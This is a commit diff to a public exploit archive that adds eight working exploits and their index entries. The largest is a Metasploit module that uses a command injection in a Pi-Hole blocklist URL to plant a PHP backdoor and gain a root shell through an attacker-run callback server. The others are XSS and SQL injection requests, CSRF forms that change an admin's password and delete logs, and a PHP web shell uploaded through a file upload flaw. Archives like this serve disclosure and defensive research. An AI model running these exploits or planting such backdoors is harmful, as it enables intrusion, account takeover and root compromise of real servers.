DB: 2020-05-20

8 changes to exploits/shellcodes

Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)
Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting
Victor CMS 1.0 - 'cat_id' SQL Injection
qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting
php-fusion 9.03.50 - 'ctype' SQL Injection
Submitty 20.04.01 - Persistent Cross-Site Scripting
NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)
Victor CMS 1.0 - Authenticated Arbitrary File Upload
This commit is contained in:
Offensive Security 2020-05-20 05:01:48 +00:00
parent 6aad755e5e
commit 6bdc0c9fda
9 changed files with 648 additions and 0 deletions

261
exploits/php/remote/48491.rb Executable file
View file

@ -0,0 +1,261 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution',
'Description' => %q{
This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an
update is forced (gravity) to pull in the blocklist content. PHP content is then written
to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter,
effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting,
the content. Lastly, the phase 1 PHP file is called in the web root, which launches
our payload in teleporter.php with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Nick Frichette' # original PoC, discovery
],
'References' =>
[
['EDB', '48443'],
['EDB', '48442'],
['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'],
['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'],
['CVE', '2020-11108']
],
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'May 10 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
# set the default port, and a URI that a user can set if the app isn't installed to the root
register_options(
[
Opt::RPORT(80),
OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]),
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
]
)
end
def setup
super
@stage = 0
end
def on_request_uri(cli, request)
if request.method == 'GET'
vprint_status('Received GET request. Responding')
send_response(cli, rand_text_alphanumeric(5..10))
return
end
case @stage
when 0
vprint_status('(1/2) Sending priv esc trigger')
send_response(cli, %q{<?php shell_exec("sudo pihole -a -t") ?>})
@stage += 1
when 1
vprint_status('(2/2) Sending root payload')
send_response(cli, payload.encoded)
@stage = 0
else
send_response(cli, rand_text_alphanumeric(5..10))
vprint_status("Server received default request for #{request.uri}")
end
end
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
# <b>Pi-hole Version <\/b> v4.3.2 <b>
# <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>
%r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d\.]+).*<b>} =~ res.body
if version && Gem::Version.new(version) <= Gem::Version.new('4.4')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
else
vprint_bad("Version Detected: #{version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
CheckCode::Safe
end
def add_blocklist(file, token, cookie)
# according to the writeup, if you have a port, the colon gets messed up in the encoding.
# also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
# messed with.
data = {
'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "),
'field' => 'adlists',
'token' => token,
'submit' => 'saveupdate'
}
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'method' => 'POST',
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'data' => data.to_query
)
end
def update_gravity(cookie)
vprint_status('Forcing gravity pull')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
'cookie' => cookie
)
end
def execute_shell(backdoor_name, cookie)
vprint_status('Popping root shell')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
'cookie' => cookie
)
end
def login(cookie)
vprint_status('Login required, attempting login.')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'vars_post' => {
'pw' => datastore['PASSWORD']
},
'method' => 'POST'
)
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
if datastore['SRVPORT'] != 80
fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
end
if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
end
start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
} })
begin
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
)
cookie = res.get_cookies
print_status("Using cookie: #{cookie}")
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
}
)
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(cookie)
end
if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
end
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
unless token
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")
# plant backdoor
backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
register_file_for_cleanup backdoor_name
print_status('Adding backdoor reference')
add_blocklist(backdoor_name, token, cookie)
# update gravity
update_gravity(cookie)
if @stage == 0
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
end
# plant root upgrade
print_status('Adding root reference')
add_blocklist('teleporter.php', token, cookie)
# update gravity
update_gravity(cookie)
if @stage == 1
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
end
# pop shell
execute_shell(backdoor_name, cookie)
print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end

View file

@ -0,0 +1,47 @@
# Exploit Title: Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
Description: The POST parameter 'comment_author' is vulnerable to stored cross site scripting
Payload: <script>alert(1)</script>
POST /post.php?post=1 HTTP/1.1
Host: localhost
Content-Length: 146
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/post.php?post=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72
Connection: close
comment_author=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&comment_email=lol%40lol.com&comment_content=%3Cp%3Etester%3C%2Fp%3E&create_comment=
------------------------------------------------------------------------------------------------------------------------------------------------------------------
CSRF
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://149.28.135.91/post.php?post=1" method="POST">
<input type="hidden" name="comment&#95;author" value="<script>alert&#40;"XSS"&#41;<&#47;script>" />
<input type="hidden" name="comment&#95;email" value="lol&#64;lol&#46;com" />
<input type="hidden" name="comment&#95;content" value="<p>tester<&#47;p>" />
<input type="hidden" name="create&#95;comment" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

View file

@ -0,0 +1,18 @@
# Exploit Title: Victor CMS 1.0 - 'cat_id' SQL Injection
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
Description: The GET parameter 'category.php?cat_id=' is vulnerable to SQL Injection
Payload: UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--
http://localhost/category.php?cat_id=-1+UNION+SELECT+1,2,VERSION(),DATABASE(),5,6,7,8,9,10+--
By exploiting the SQL Injection vulnerability by using the mentioned payload, an attacker will be able to retrieve the database name and version of mysql running on the server.

View file

@ -0,0 +1,82 @@
# Exploit Title: qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://qdpm.net
# Software Link: https://sourceforge.net/projects/qdpm/
# Version: 9.1
# Tested on: Windows 10
Description: The form parameter 'cfg[app_app_name]' is vulnerable to stored cross site scripting
Payload: <script>alert(1)</script>
POST /index.php/configuration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224716807133186052992861925563
Content-Length: 1881
Origin: http://localhost/
DNT: 1
Connection: close
Referer: http://localhost/index.php/configuration?type=general
Cookie: qdPM8=c14e5521818ec7a0c8bbc3099a96b94a
Upgrade-Insecure-Requests: 1
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="type"
general
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_administrator_email]"
admin@localhost.com
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_administrator_password]"
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_app_name]"
<script>alert(1)</script>
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_app_short_name]"
qdPM
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg_app_app_logo_file"; filename=""
Content-Type: application/octet-stream
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_app_logo]"
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[sf_default_timezone]"
America/New_York
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[sf_default_culture]"
ar
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_rows_per_page]"
25
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_rows_limit]"
1000
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_custom_short_date_format]"
d M Y
-----------------------------224716807133186052992861925563
Content-Disposition: form-data; name="cfg[app_custom_logn_date_format]"
d M Y H:i
-----------------------------224716807133186052992861925563--

View file

@ -0,0 +1,36 @@
# Exploit Title: php-fusion 9.03.50 - 'ctype' SQL Injection
# Exploit Author: SunCSR (Sun* Cyber Security Research - ThienNV)
# Date: 2020-05-19
# Vendor Homepage: https://www.php-fusion.co.uk/
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: 9.03.50
# Tested On: Windows 10 + XAMPP 7.4.5
###Describe the bug
I've identified an SQL injection vulnerability in the php-fusion 9.03.50 that affects the endpoint /php-fusion/administration/comments.php and can be exploited via the ctype param.
###To Reproduce
Steps to reproduce the behavior:
1. Go to login as admin
2. Go to Content Admin -> Comments
3. Filter comments
###POC:
Send the following HTTP request (With sleep=3s):
GET /php-fusion/administration/comments.php?aid=fee32dbfde52e8ad&ctype=(select(0)from(select(sleep(3)))v)/*'%2b(select(0)from(select(sleep(3)))v)%2b'%22%2b(select(0)from(select(sleep(3)))v)%2b%22*/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Result: Server to sleep for 3+3+3=9 seconds
###Impact
An attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database or extract sensitive information
### Reference
https://github.com/php-fusion/PHP-Fusion/issues/2327

View file

@ -0,0 +1,23 @@
# Exploit Title: Submitty 20.04.01 - Persistent Cross-Site Scripting
# Date: 2020-05-15
# Exploit Author: humblelad
# Vendor Homepage: http://submitty.org/
# Software Link: https://github.com/Submitty/Submitty/releases
# Version: 20.04.01
# Tested on: Mac Os Catalina
# CVE : CVE-2020-12882
Description:
Submitty through 20.04.01 allows XSS via upload of an SVG document, as demonstrated
by an attack by a Student against a Teaching Fellow.This vulnerability can potentially enable any student to takeover the account of TA if they open the attachment as the cookie gets exposed.
1.As student login, via student:student
2.Go here http://localhost:1501/s20/tutorial/gradeable/01_simple_python (as ex.)
3.In the new submission upload the malicious .svg file with any xss payload.
Login as ta and open the same for grading. The XSS gets triggered alerting the cookies.

View file

@ -0,0 +1,106 @@
# Exploit Title: NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2020-05-18
# Exploit Author: JEBARAJ
# Vendor Homepage: https://nukeviet.vn/
# Software Link: https://github.com/nukeviet/nukeviet/releases/download/4.4.00/nukeviet4.4.00setup.zip
# Version: 4.4.00
# Tested on: Windows 10 Pro
# CVE : N/A
+---------------------------------------------------------------------------------------------------------------------------------------------------+
Description:
NukeViet CMS v4.4.00 suffer from Cross Site Request Forgery (CSRF) vulnerability.This Vulnerabilty lets attacker change profile details and password of the user without knowing thier old password. Create a new user with admin privileges. Delete Sensitive and other log files.
1. Changing password of Admin user and thier profile details
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=edit&userid=1" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="admin&#64;admin&#46;com" />
<input type="hidden" name="first&#95;name" value="admin" />
<input type="hidden" name="last&#95;name" value="" />
<input type="hidden" name="gender" value="N" />
<input type="hidden" name="birthday" value="07&#47;05&#47;1986" />
<input type="hidden" name="sig" value="" />
<input type="hidden" name="question" value="123" />
<input type="hidden" name="answer" value="1234" />
<input type="hidden" name="photo" value="" />
<input type="hidden" name="group&#95;default" value="1" />
<input type="hidden" name="password1" value="Admin123456" />
<input type="hidden" name="password2" value="Admin123456" />
<input type="hidden" name="confirm" value="1" />
<input type="hidden" name="nv&#95;redirect" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2. Create new user.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=user_add" method="POST">
<input type="hidden" name="username" value="aaaaa" />
<input type="hidden" name="email" value="aaaaaaa&#64;aaaaaaaaaa&#46;com" />
<input type="hidden" name="password1" value="VeK8hsRYn9TRk7z" />
<input type="hidden" name="password2" value="VeK8hsRYn9TRk7z" />
<input type="hidden" name="first&#95;name" value="asdf" />
<input type="hidden" name="last&#95;name" value="asdf" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="birthday" value="01&#47;05&#47;1994" />
<input type="hidden" name="sig" value="" />
<input type="hidden" name="question" value="asdf" />
<input type="hidden" name="answer" value="asdf" />
<input type="hidden" name="photo" value="" />
<input type="hidden" name="is&#95;official" value="1" />
<input type="hidden" name="is&#95;email&#95;verified" value="1" />
<input type="hidden" name="confirm" value="1" />
<input type="hidden" name="nv&#95;redirect" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3. Deleting Log files
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
<input type="hidden" name="check&#95;all&#91;&#93;" value="yes" />
<input type="hidden" name="submit" value="Submit" />
<input type="hidden" name="deltype&#91;&#93;" value="clearcache" />
<input type="hidden" name="deltype&#91;&#93;" value="clearfiletemp" />
<input type="hidden" name="deltype&#91;&#93;" value="clearerrorlogs" />
<input type="hidden" name="deltype&#91;&#93;" value="clearip&#95;logs" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Persistent HTML injection via CSRF
Since the application has xss protection header it is hard to get an XSS. HTML injection is possible via unsanitized parameter passed to database and then displayed in Informations -> system logs tab on admin panel.
Vulnerable Source code:
clearsystem.php -> line 58
nv_insert_logs(NV_LANG_DATA, $module_name, $lang_module['clearsystem'], implode(", ", $deltype), $admin_info['userid']);
There are many instances like this triggering to html injection.
P0c: htmlinjection.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
<input type="hidden" name="submit" value="Submit" />
<input type="hidden" name="deltype&#91;&#93;" value="test&#58;<input&#32;type&#61;"text"&#47;>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

View file

@ -0,0 +1,67 @@
# Exploit Title: Victor CMS 1.0 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-05-19
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
Description: The GET parameter '/admin/users.php?source=add_user' is vulnerable Arbitary File Uploads
POST /admin/users.php?source=add_user HTTP/1.1
Host: localhost
Content-Length: 1049
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrMPNq33u6rCpEFhB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/users.php?source=add_user
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72
Connection: close
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_name"
test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_firstname"
test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_lastname"
test
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_image"; filename="exp.php"
Content-Type: application/octet-stream
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_role"
Admin
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_email"
test@tets.com
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="user_password"
test@1234
------WebKitFormBoundaryrMPNq33u6rCpEFhB
Content-Disposition: form-data; name="create_user"
Add User
------WebKitFormBoundaryrMPNq33u6rCpEFhB--
The Shell can be triggered by visting
http://localhost/img/exp.php?cmd=cat%20/etc/passwd

View file

@ -18148,6 +18148,7 @@ id,file,description,date,author,type,platform,port
48410,exploits/multiple/remote/48410.rb,"Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit)",2020-05-01,Metasploit,remote,multiple, 48410,exploits/multiple/remote/48410.rb,"Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit)",2020-05-01,Metasploit,remote,multiple,
48421,exploits/multiple/remote/48421.txt,"Saltstack 3000.1 - Remote Code Execution",2020-05-05,"Jasper Lievisse Adriaanse",remote,multiple, 48421,exploits/multiple/remote/48421.txt,"Saltstack 3000.1 - Remote Code Execution",2020-05-05,"Jasper Lievisse Adriaanse",remote,multiple,
48483,exploits/multiple/remote/48483.txt,"HP LinuxKI 6.01 - Remote Command Injection",2020-05-18,"Cody Winkler",remote,multiple, 48483,exploits/multiple/remote/48483.txt,"HP LinuxKI 6.01 - Remote Command Injection",2020-05-18,"Cody Winkler",remote,multiple,
48491,exploits/php/remote/48491.rb,"Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)",2020-05-19,Metasploit,remote,php,
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -42713,3 +42714,10 @@ id,file,description,date,author,type,platform,port
48480,exploits/php/webapps/48480.txt,"online Chatting System 1.0 - 'id' SQL Injection",2020-05-18,BKpatron,webapps,php, 48480,exploits/php/webapps/48480.txt,"online Chatting System 1.0 - 'id' SQL Injection",2020-05-18,BKpatron,webapps,php,
48481,exploits/php/webapps/48481.txt,"Online Healthcare Patient Record Management System 1.0 - Authentication Bypass",2020-05-18,"Daniel Monzón",webapps,php, 48481,exploits/php/webapps/48481.txt,"Online Healthcare Patient Record Management System 1.0 - Authentication Bypass",2020-05-18,"Daniel Monzón",webapps,php,
48482,exploits/php/webapps/48482.txt,"Online Healthcare management system 1.0 - Authentication Bypass",2020-05-18,BKpatron,webapps,php, 48482,exploits/php/webapps/48482.txt,"Online Healthcare management system 1.0 - Authentication Bypass",2020-05-18,BKpatron,webapps,php,
48484,exploits/php/webapps/48484.txt,"Victor CMS 1.0 - 'comment_author' Persistent Cross-Site Scripting",2020-05-19,"Kishan Lal Choudhary",webapps,php,
48485,exploits/php/webapps/48485.txt,"Victor CMS 1.0 - 'cat_id' SQL Injection",2020-05-19,"Kishan Lal Choudhary",webapps,php,
48486,exploits/php/webapps/48486.txt,"qdPM 9.1 - 'cfg[app_app_name]' Persistent Cross-Site Scripting",2020-05-19,"Kishan Lal Choudhary",webapps,php,
48487,exploits/php/webapps/48487.txt,"php-fusion 9.03.50 - 'ctype' SQL Injection",2020-05-19,SunCSR,webapps,php,
48488,exploits/php/webapps/48488.txt,"Submitty 20.04.01 - Persistent Cross-Site Scripting",2020-05-19,humblelad,webapps,php,
48489,exploits/php/webapps/48489.txt,"NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)",2020-05-19,JEBARAJ,webapps,php,
48490,exploits/php/webapps/48490.txt,"Victor CMS 1.0 - Authenticated Arbitrary File Upload",2020-05-19,"Kishan Lal Choudhary",webapps,php,

Can't render this file because it is too large.